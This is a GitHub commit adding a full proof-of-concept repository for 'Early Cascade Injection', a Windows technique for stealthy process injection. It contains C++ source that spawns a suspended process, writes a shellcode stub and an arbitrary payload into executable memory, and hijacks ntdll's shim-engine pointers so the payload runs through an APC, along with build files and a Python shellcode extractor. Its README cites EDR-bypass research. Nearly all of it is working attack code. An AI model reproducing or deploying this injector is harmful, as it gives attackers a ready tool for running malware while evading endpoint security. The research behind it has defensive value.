Add files via upload

This commit is contained in:
5pider
2024-11-07 22:06:03 +01:00
committed by GitHub
commit 064934c73c
9 changed files with 591 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
# Early Cascade Injection PoC
Just a simple PoC implemetation of the early cascade injection technique documented by the [Outflank blog post](https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/).
All credits goes to the people who found and documented the technique. I merely just wrote the code now beacuse I was bored. Cheers.
Reference / Credit:
- https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/
- https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.3.32929.385
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cascade-injection", "cascade-injection.vcxproj", "{5E56851B-45C4-466A-A56B-EB3B5569729A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x64.ActiveCfg = Debug|x64
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x64.Build.0 = Debug|x64
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x86.ActiveCfg = Debug|Win32
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x86.Build.0 = Debug|Win32
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x64.ActiveCfg = Release|x64
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x64.Build.0 = Release|x64
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x86.ActiveCfg = Release|Win32
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {4E407EEC-0A47-4A29-A61F-AF8F9A51E12A}
EndGlobalSection
EndGlobal
+135
View File
@@ -0,0 +1,135 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{5e56851b-45c4-466a-a56b-eb3b5569729a}</ProjectGuid>
<RootNamespace>cascadeinjection</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Main.cc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+22
View File
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\Main.cc">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+324
View File
@@ -0,0 +1,324 @@
#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
typedef struct tagBUFFER {
PVOID Buffer;
ULONG Length;
} BUFFER, *PBUFFER;
#define C_PTR( x ) ( PVOID ) ( x )
#define U_PTR( x ) ( UINT_PTR ) ( x )
unsigned char cascade_stub_x64[] = {
0x48, 0x83, 0xec, 0x38, // sub rsp, 38h
0x33, 0xc0, // xor eax, eax
0x45, 0x33, 0xc9, // xor r9d, r9d
0x48, 0x21, 0x44, 0x24, 0x20, // and [rsp+38h+var_18], rax
0x48, 0xba, //
0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, // mov rdx, 8888888888888888h
0xa2, // (offset: 25)
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, // mov ds:9999999999999999h, al
0x49, 0xb8, //
0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, // mov r8, 7777777777777777h
0x48, 0x8d, 0x48, 0xfe, // lea rcx, [rax-2]
0x48, 0xb8, //
0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, // mov rax, 6666666666666666h
0xff, 0xd0, // call rax
0x33, 0xc0, // xor eax, eax
0x48, 0x83, 0xc4, 0x38, // add rsp, 38h
0xc3 // retn
};
PVOID MmPeSectionBase(
_In_ PVOID ModuleBase,
_In_ PCHAR SectionName
) {
PIMAGE_DOS_HEADER DosHeader = {};
PIMAGE_NT_HEADERS NtHeader = {};
PIMAGE_SECTION_HEADER SecHeader = {};
NtHeader = static_cast<PIMAGE_NT_HEADERS>( reinterpret_cast<PVOID>( U_PTR( ModuleBase ) + static_cast<PIMAGE_DOS_HEADER>( ModuleBase )->e_lfanew ) );
SecHeader = IMAGE_FIRST_SECTION( NtHeader );
for ( int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++ ) {
if ( memcmp( SectionName, SecHeader[ i ].Name, strlen( SectionName ) ) == 0) {
return C_PTR( U_PTR( ModuleBase ) + SecHeader[ i ].VirtualAddress );
}
}
return nullptr;
}
/**
* @brief
* encodes a function pointer using
* the SharedUserData->Cookie value
*
* ref: https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
*
* @param FnPointer
* function pointer to encode
*
* @return
* encoded function pointer
*/
LPVOID SysEncodeFnPointer(
_In_ PVOID FnPointer
) {
ULONG SharedUserCookie = *( ULONG* ) 0x7FFE0330;
return C_PTR( _rotr64( SharedUserCookie ^ U_PTR( FnPointer ), SharedUserCookie & 0x3F ) );
}
/**
* @brief
* inject a shellcode buffer with a
* context argument into a child process
*
* @param Process
* proces name path to spawn as our target
*
* @param Payload
* payload to inject into the remote process
*
* @param Context
* context to inject as well into the remote process
*
* @return
* status of function
*/
NTSTATUS CascadeInject(
_In_ PSTR Process,
_In_ PBUFFER Payload,
_In_ PBUFFER Context
) {
PROCESS_INFORMATION ProcessInfo = {};
STARTUPINFOA StartupInfo = {};
PVOID Memory = {};
ULONG Length = {};
ULONG Offset = {};
ULONG Status = {};
PVOID SecMrData = {};
PVOID SecData = {};
PVOID g_ShimsEnabled = {};
PVOID g_pfnSE_DllLoaded = {};
UINT_PTR g_Value = {};
if ( !Process || !Payload ) {
return STATUS_INVALID_PARAMETER;
}
//
// prepare and start a child process
// in a suspended state as our target
//
RtlSecureZeroMemory( &ProcessInfo, sizeof( ProcessInfo ) );
RtlSecureZeroMemory( &StartupInfo, sizeof( StartupInfo ) );
StartupInfo.cb = sizeof( StartupInfo );
if ( !CreateProcessA( nullptr, Process, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &StartupInfo, &ProcessInfo)) {
printf( "[-] CreateProcessW Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
//
// allocate memory in the remote process
//
Length = sizeof( cascade_stub_x64 ) + Payload->Length;
if ( Context ) {
Length += Context->Length;
}
if ( !( Memory = VirtualAllocEx( ProcessInfo.hProcess, nullptr, Length, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) {
printf( "[-] VirtualAllocEx Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
//
// resolve the g_ShimsEnabled and g_pfnSE_DllLoaded
// pointers in the current process which should reflect
// in the remote process as well (or not).
// Consider this a hacky solution lol.
//
SecMrData = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".mrdata" );
SecData = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".data" );
g_ShimsEnabled = C_PTR( U_PTR( SecData ) + 0x6cf0 );
g_pfnSE_DllLoaded = C_PTR( U_PTR( SecMrData ) + 0x270 );
printf( "[*] g_ShimsEnabled : %p\n", g_ShimsEnabled );
printf( "[*] g_pfnSE_DllLoaded: %p\n", g_pfnSE_DllLoaded );
//
// update the stub and include the g_ShimsEnabled,
// MmPayload, MmContext and NtQueueApcThread pointers
//
g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 );
memcpy( &cascade_stub_x64[ 16 ], &g_Value, sizeof( PVOID ) );
memcpy( &cascade_stub_x64[ 25 ], &g_ShimsEnabled, sizeof( PVOID ) );
g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 ) + Payload->Length;
if ( !Context ) {
g_Value = 0;
}
memcpy( &cascade_stub_x64[ 35 ], &g_Value, sizeof( PVOID ) );
g_Value = U_PTR( GetProcAddress( GetModuleHandleA( "ntdll.dll" ), "NtQueueApcThread" ) );
memcpy( &cascade_stub_x64[ 49 ], &g_Value, sizeof( PVOID ) );
//
// write stub, payload and context into the allocated memory
//
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), cascade_stub_x64, sizeof( cascade_stub_x64 ), nullptr ) ) {
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
Offset += sizeof( cascade_stub_x64 );
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Payload->Buffer, Payload->Length, nullptr ) ) {
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
if ( Context ) {
//
// if specified a context then write the context
// into the remote process memory as well
//
Offset += Payload->Length;
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Context->Buffer, Context->Length, nullptr ) ) {
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
}
//
// patch the remote process pointers and enable the shim engine
//
g_Value = TRUE;
if ( !WriteProcessMemory( ProcessInfo.hProcess, g_ShimsEnabled, &g_Value, sizeof( BYTE ), nullptr ) ) {
printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
g_Value = U_PTR( SysEncodeFnPointer( Memory ) );
if ( !WriteProcessMemory( ProcessInfo.hProcess, g_pfnSE_DllLoaded, &g_Value, sizeof( PVOID ), nullptr ) ) {
printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
}
if ( !ResumeThread( ProcessInfo.hThread ) ) {
printf( "[-] ResumeThread Failed: %ld\n", GetLastError() );
Status = STATUS_UNSUCCESSFUL;
goto LEAVE;
};
Status = STATUS_SUCCESS;
LEAVE:
if ( ProcessInfo.hThread ) {
CloseHandle( ProcessInfo.hThread );
}
if ( ProcessInfo.hProcess ) {
CloseHandle( ProcessInfo.hProcess );
}
return Status;
}
BOOL FileReadA(
_In_ PSTR FileName,
_Out_ PVOID* Buffer,
_Out_ PULONG Length
) {
HANDLE FileHandle = {};
ULONG BytesRead = {};
BOOL Success = {};
if ( !FileName || !Buffer || !Length ) {
goto LEAVE;
}
Success = FALSE;
if ( ( FileHandle = CreateFileA( FileName, GENERIC_READ, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr ) ) == INVALID_HANDLE_VALUE ) {
printf( "[-] CreateFileA Failed: %ld\n", GetLastError() );
goto LEAVE;
}
if ( ( *Length = GetFileSize( FileHandle, nullptr ) ) == INVALID_FILE_SIZE ) {
printf( "[-] GetFileSize Failed: %ld\n", GetLastError() );
goto LEAVE;
}
if ( ! ( *Buffer = HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, *Length ) ) ) {
printf( "[!] HeapAlloc Failed: %ld\n", GetLastError() );
goto LEAVE;
}
if ( !ReadFile( FileHandle, *Buffer, *Length, &BytesRead, nullptr ) || *Length != BytesRead ) {
printf( "[!] ReadFile Failed With Error: %d\n", GetLastError() );
goto LEAVE;
}
Success = TRUE;
LEAVE:
if ( FileHandle != INVALID_HANDLE_VALUE ) {
CloseHandle( FileHandle );
}
if ( !Success ) {
HeapFree( GetProcessHeap(), HEAP_ZERO_MEMORY, *Buffer );
*Buffer = nullptr;
*Length = 0;
}
return Success;
}
int main( int argc, char** argv ) {
BUFFER Payload = {};
if ( argc <= 2 ) {
printf( "[-] Not enough arguments\n" );
printf( "[*] Example: %s [process.exe] [shellcode.bin]\n", argv[ 0 ] );
return -1;
}
if ( !FileReadA( argv[ 2 ], &Payload.Buffer, &Payload.Length ) ) {
printf( "[-] Failed to read file %s", argv[ 2 ] );
return -1;
}
printf( "[*] Process: %s\n", argv[ 1 ] );
printf( "[*] Payload @ %p [%d bytes]\n", Payload.Buffer, Payload.Length );
CascadeInject( argv[ 1 ], &Payload, nullptr );
printf( "[*] Finished\n" );
return 0;
}
+10
View File
@@ -0,0 +1,10 @@
CC := cl.exe
LINK := link.exe
CFLAGS := /c /GS- /O1 /Os /kernel /Zl /GR- /EHsc /MD
LFLAGS := /NODEFAULTLIB /ENTRY:main /SUBSYSTEM:CONSOLE /MERGE:.rdata=.text /OPT:REF /OPT:ICF /LTCG /ALIGN:16 /DEBUG:NONE
all:
@ $(CC) $(CFLAGS) src/Main.cc
@ $(LINK) $(LFLAGS) Main.obj
@ python extract.py -f Main.exe -o cascade-stub.x64.bin
+24
View File
@@ -0,0 +1,24 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import pefile
import argparse
if __name__ in '__main__':
try:
parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' );
parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str );
parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str );
option = parser.parse_args();
PeExe = pefile.PE( option.f );
PeSec = PeExe.sections[0].get_data();
if PeSec.find( b'ENDOFCODE' ) != None:
ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ];
f = open( option.o, 'wb+' );
f.write( ScRaw );
f.close();
else:
print('[!] error: no ending tag');
except Exception as e:
print( '[!] error: {}'.format( e ) );
+32
View File
@@ -0,0 +1,32 @@
#include <Windows.h>
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR )-2 )
typedef NTSTATUS ( NTAPI* fn_NtQueueApcThread )(
_In_ HANDLE ThreadHandle,
_In_ PVOID ApcRoutine,
_In_opt_ PVOID ApcArgument1,
_In_opt_ PVOID ApcArgument2,
_In_opt_ PVOID ApcArgument3
);
EXTERN_C VOID main(
VOID
) {
PBYTE g_ShimsEnabled = (PBYTE)0x9999999999999999;
PVOID MmPayload = (PVOID)0x8888888888888888;
PVOID MmContext = (PVOID)0x7777777777777777;
//
// disable the shim engine to avoid any more
// function pointers getting called that have
// not been resolved
//
*g_ShimsEnabled = FALSE;
//
// now we are going to queue an Apc in the current
// thread which is going to be triggered at the end
// of the LdrInitializeThunk routine
//
((fn_NtQueueApcThread)0x6666666666666666)( NtCurrentThread(), MmPayload, MmContext, nullptr, nullptr );
}